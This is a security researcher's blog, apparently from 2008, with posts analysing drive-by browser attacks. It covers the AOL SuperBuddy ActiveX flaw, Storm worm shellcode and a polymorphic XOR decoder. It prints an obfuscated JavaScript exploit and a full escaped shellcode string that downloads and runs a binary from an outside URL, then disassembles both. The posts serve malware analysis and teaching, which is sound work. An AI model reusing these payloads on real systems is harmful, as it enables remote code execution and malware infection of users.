blog
August 30, 2008
In my post about the vulnerability in the SuperBuddy ActiveX control, I've glossed over a couple of details that may be interesting:
Several tools solve the first problem. In particular, I like OLE/COM Object Viewer (oleviewer, in short) and COMRaider.
For example, oleviewer shows the following information about SuperBuddy:
In particular, note the CLSID and the ProgID fields (you'll need these values if you want to instantiate the control), and the path to the DLL that provides the control. On the left hand side, there is the list of interfaces implemented by the control.
If you focus on the ISuperBuddy interface, you obtain the list of its methods. As expected, the vulnerable method LinkSBIcons is shown and we can also see its signature.
For the second problem (getting the address of a method), I could not find a better way than instantiating a control and dumping its virtual table (I see that this is essentially the solution also proposed by the folks at Websense):
#include "stdafx.h"
#import "C:\Program Files\AOL 9.0\sb.dll"
int _tmain(int argc, _TCHAR* argv[])
{
SBLib::ISuperBuddy *pSb;
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(__uuidof(SBLib::SuperBuddy),
NULL,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
__uuidof(SBLib::ISuperBuddy),
(LPVOID *) &pSb);
if (hr == S_OK) {
DWORD vtable = *(DWORD *) pSb;
DWORD *p = (DWORD *) vtable;
for (int i = 0; i < 55; i++) {
printf("%02d: %p", i, *p);
printf("\n");
p++;
}
} else {
printf("CoCreateInstance error: %x\n", hr);
return 1;
}
return 0;
}
The functions are in the same order as shown by oleviewer: at index 2 you find IUnknown::Release(), and, then, counting up, all the others. LinkSBIcons is at index 49, which corresponds to address 0x6398692D.
00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...
Let me know if you know a better way to do this!
August 28, 2008
In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)
So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.
Here is a typical exploit (it is also available as a Metasploit exploit):
function a9_bwCED() {
try {
var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
if (OBGUiGAa) {
Exhne69P();
dU578_go(9);
OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
}
} catch(e) { }
return 0;
}
The function Exhne69P sets up the shellcode and the function
dU578_go sets a cookie, probably to keep statistics on the success
rate of the attack. The actual exploitation occurs by invoking the
LinkSBIcons method with the 0x0c0c0c0c parameter.
The vulnerable code is contained in the sb.dll library:
6398692d <LinkSBIcons>::
6398692d: push %ebp
6398692e: mov %esp,%ebp
63986930: mov 0xc(%ebp),%eax ; eax := arg
63986933: test %eax,%eax
63986935: je 0x63986969 ; bail out if NULL
63986937: mov (%eax),%ecx ; ecx := *arg
63986939: push %esi
6398693a: push %edi
6398693b: mov 0x8(%ebp),%edi
6398693e: lea 0x30(%edi),%esi
63986941: push %esi
63986942: push $0x6399037c
63986947: push %eax
63986948: call *(%ecx) ; call *ecx
The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:
July 11, 2008
The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.
Besides the usual fake youtube video — you click on it and the
download of the malicious binary starts — they are also using
drive-by download techniques to infect their victims. An iframe points
to the file ind.php, which attempts to perform a number of browser
exploits. Nothing special here: everything is very similar to other
javascript
attacks.
The shellcode used by Storm is also very similar to what we have seen in the
past, both
functionally (download and execute a binary) and in the use of simple polymorphic
techniques. However, there are some differences: one is that it
doesn't store the hash values of the library functions to invoke at the end of
the code. Sequences of hash values probably make for a good signature for IDS
systems. Thus, this shellcode uses hash values inline (in what follows,
find_function returns the address of a function, given the function's hash
and the containing DLL's base address):
00000033: push esi ; kernel32.dll base
00000034: push dword 0xec0e4e8e ; LoadLibrary (hash)
00000039: call 0x13c<find_function>
0000003E: mov [ebp+0x4],eax
00000041: push esi
00000042: push dword 0xe8afe98 ; WinExec (hash)
00000047: call 0x13c<find_function>
0000004C: mov [ebp+0x8],eax
0000004F: push esi
00000050: push dword 0xc2ffb025 ; DeleteFileA (hash)
00000055: call 0x13c<find_function>
0000005A: mov [ebp+0xc],eax
0000005D: push esi
0000005E: push dword 0x60e0ceef ; ExitThread (hash)
00000063: call 0x13c<find_function>
00000068: mov [ebp+0x10],eax
0000006B: push esi
0000006C: push dword 0xb8e579c1 ; GetSystemDirectoryA (hash)
00000071: call 0x13c<find_function>
Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.
000000EB: xor ebx,ebx
000000ED: push ebx ; NULL
000000EE: push ebx ; NULL
000000EF: push dword [ebp+0x20] ; ptr to "SYSDIR/~.exe"
000000F2: push eax ; eax := addr of the URL
000000F3: push ebx ; NULL
000000F4: mov eax,[ebp+0x1c] ; eax := addr of URLDownloadToFile
000000F7: push byte +0x5
000000F9: pop ecx ; ecx := 5
000000FA: mov edx,[ebp+0x18] ; edx := ptr to ret instruction
000000FD: call 0x125<call_lib_func>
The function that I named call_lib_func invokes the requested DLL function.
It receives the number of parameters (in ecx), the function address (in
eax), and the address of a ret instruction (in edx). It first sets
up the stack (return address into the caller first, followed by the
parameters, and the address of the ret instruction last), and then jumps to
the library function's address. The weird stack manipulation is required
since Win32 API functions use the
__stdcall calling convention.
00000125: inc ecx ; ecx := # params + 1
00000126: pop ebx
00000127: push edx
00000128: add esp,ecx
0000012A: add esp,ecx
0000012C: add esp,ecx
0000012E: add esp,ecx ; esp points past the last parameter
fixup_stack_for_stdcall:
00000130: sub esp,byte +0x4
00000133: pop edx
00000134: push ebx
00000135: mov ebx,edx
00000137: loop 0x130<fixup_stack_for_stdcall>
00000139: push edx ; edx points to ret instruction
0000013A: jmp eax ; eax holds address of lib function
The final effect of the shellcode is:
July 5, 2008
In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.
In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.
This is the beginning of the shellcode found in one these attacks:
00000000: E800000000 call 0x5
00000005: 5D pop ebp
00000006: 83C514 add ebp,byte +0x14 ; ebp = 0x19
00000009: B98D010000 mov ecx,0x18d ; for i in range(0x18d):
0000000E: B0A1 mov al,0xa1
00000010: 304500 xor [ebp+0x0],al ; [ebp] = [ebp] ^ 0xa1
00000013: 45 inc ebp ; ebp += 1
00000014: 49 dec ecx
00000015: 75F9 jnz 0x10
00000017: EB00 jmp short 0x19
00000019: 3131 xor [ecx],esi
0000001B: 3131 xor [ecx],esi
0000001D: ...
The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:
00000019: 90 nop
0000001A: 90 nop
0000001B: 90 nop
0000001C: 90 nop
0000001D: 90 nop
0000001E: 90 nop
0000001F: 90 nop
00000020: 90 nop
00000021: E9FC000000 jmp 0x122
00000026: 5F pop edi
00000027: 64A130000000 mov eax,[fs:0x30]
0000002D: 780C js 0x3b
0000002F: 8B400C mov eax,[eax+0xc]
00000032: 8B701C mov esi,[eax+0x1c]
00000035: AD lodsd
00000036: 8B6808 mov ebp,[eax+0x8]
00000039: EB09 jmp short 0x44
0000003B: ...
June 24, 2008
Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.
Let's meet the shellcode:
var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");
It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.
First, the shellcode obtains the address of kernel32.dll. It uses the
PEB-based technique
first described by The Last Stage of
Delirium:
0000000E mov eax,[fs:0x30] ; get the PEB
00000014 js 0x22<find_kernel32_9x>
find_kernel32_nt:
00000016 mov eax,[eax+0xc] ; get ptr to PEB_LDR_DATA
00000019 mov esi,[eax+0x1c] ; get 1st entry of InInitalizationOrderModuleList
0000001C lodsd
0000001D mov ebp,[eax+0x8] ; get kernel32.dll base
00000020 jmp short 0x2b
find_kernel32_9x:
00000022 mov eax,[eax+0x34]
00000025 lea eax,[eax+0x7c]
00000028 mov ebp,[eax+0x3c]
Once the base address of kernel32.dll is known, it can be used to
identify the address of useful functions exported in this DLL. To do so,
the shellcode defines a routine, let's call it find_function, that
walks the export name table of the given DLL and looks for a given
function name. Instead of matching directly on the name of the function,
the shellcode computes a simple hash of the name, and uses that to
locate interesting functions. This is probably done to save some space
and obfuscate the purposes of the code.
The find_function expects two parameters: the base address of the DLL
(contained in the ebp register) and a pointer to the hash of the
function to identify (in the edi register):
find_function:
000000C4 push ecx
000000C5 push esi
000000C6 mov esi,[ebp+0x3c] ; get the PE header
000000C9 mov esi,[esi+ebp+0x78]
000000CD add esi,ebp
000000CF push esi
000000D0 mov esi,[esi+0x20] ; get the export name table
000000D3 add esi,ebp
000000D5 xor ecx,ecx
000000D7 dec ecx
hash_init:
000000D8 inc ecx
000000D9 lodsd
000000DA add eax,ebp
000000DC xor ebx,ebx ; ebx stores the computed hash
hash_update:
000000DE movsx edx,byte [eax]
000000E1 cmp dl,dh
000000E3 jz 0xed<hash_done>
000000E5 ror ebx,0xd
000000E8 add ebx,edx
000000EA inc eax
000000EB jmp short 0xde<hash_update>
hash_done:
000000ED cmp ebx,[edi] ; have we found the given hash?
000000EF jnz 0xd8<hash_init>
000000F1 pop esi
000000F2 mov ebx,[esi+0x24]
000000F5 add ebx,ebp
000000F7 mov cx,[ebx+ecx*2]
000000FB mov ebx,[esi+0x1c]
000000FE add ebx,ebp
00000100 mov eax,[ebx+ecx*4]
00000103 add eax,ebp
00000105 stosd ; store the address in place of the hash
00000106 pop esi
00000107 pop ecx
00000108 ret
The hash value is computed with simple ror and add operations. I use
the following code to compute the hash of a function name:
unsigned int ror(unsigned int num, int places) {
return (num >> places) | (num << (32 - places));
}
unsigned int get_hash(const char *name) {
const char *ch;
unsigned int hash = 0;
for (ch = name; *ch; ch++) {
hash = (ror(hash, 0xd) + *ch);
}
return hash;
}
The hashes of the functions to locate are stored in a table at the end
of the shellcode. With the above program and a list of all the functions
in kernel32.dll (obtained from
here), it is easy to
indentify the name of the corresponding functions:
0000010E dd 0EC0E4E8Eh ; LoadLibraryA (hash)
00000112 dd 0E8AFE98h ; WinExec (hash)
00000116 dd 73E2D87Eh ; ExitProcess (hash)
0000011A dd 5B8ACA33h ; GetTempPathA (hash)
0000011E dd 702F1A36h ; URLDownloadToFileA (hash)
At this point, the shellcode loads urlmon.dll and finds the
function URLDownloadToFileA:
00000037 push dword 0x6e6f
0000003C push dword 0x6d6c7275
00000041 push esp
00000042 call near [esi] ; LoadLibraryA("urlmon")
00000044 mov ebp,eax
00000046 call 0xc4<find_function> ; find_function(urlmon.dll, URLDownloadToFileA)
The shellcode then creates a temporary file (using the GetTempPathA
function), downloads a file from
http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA
function), executes the downloaded file (via WinExec), and finally exits
(ExitProcess).
Not bad for what initially just looked like a long string in a JavaScript script...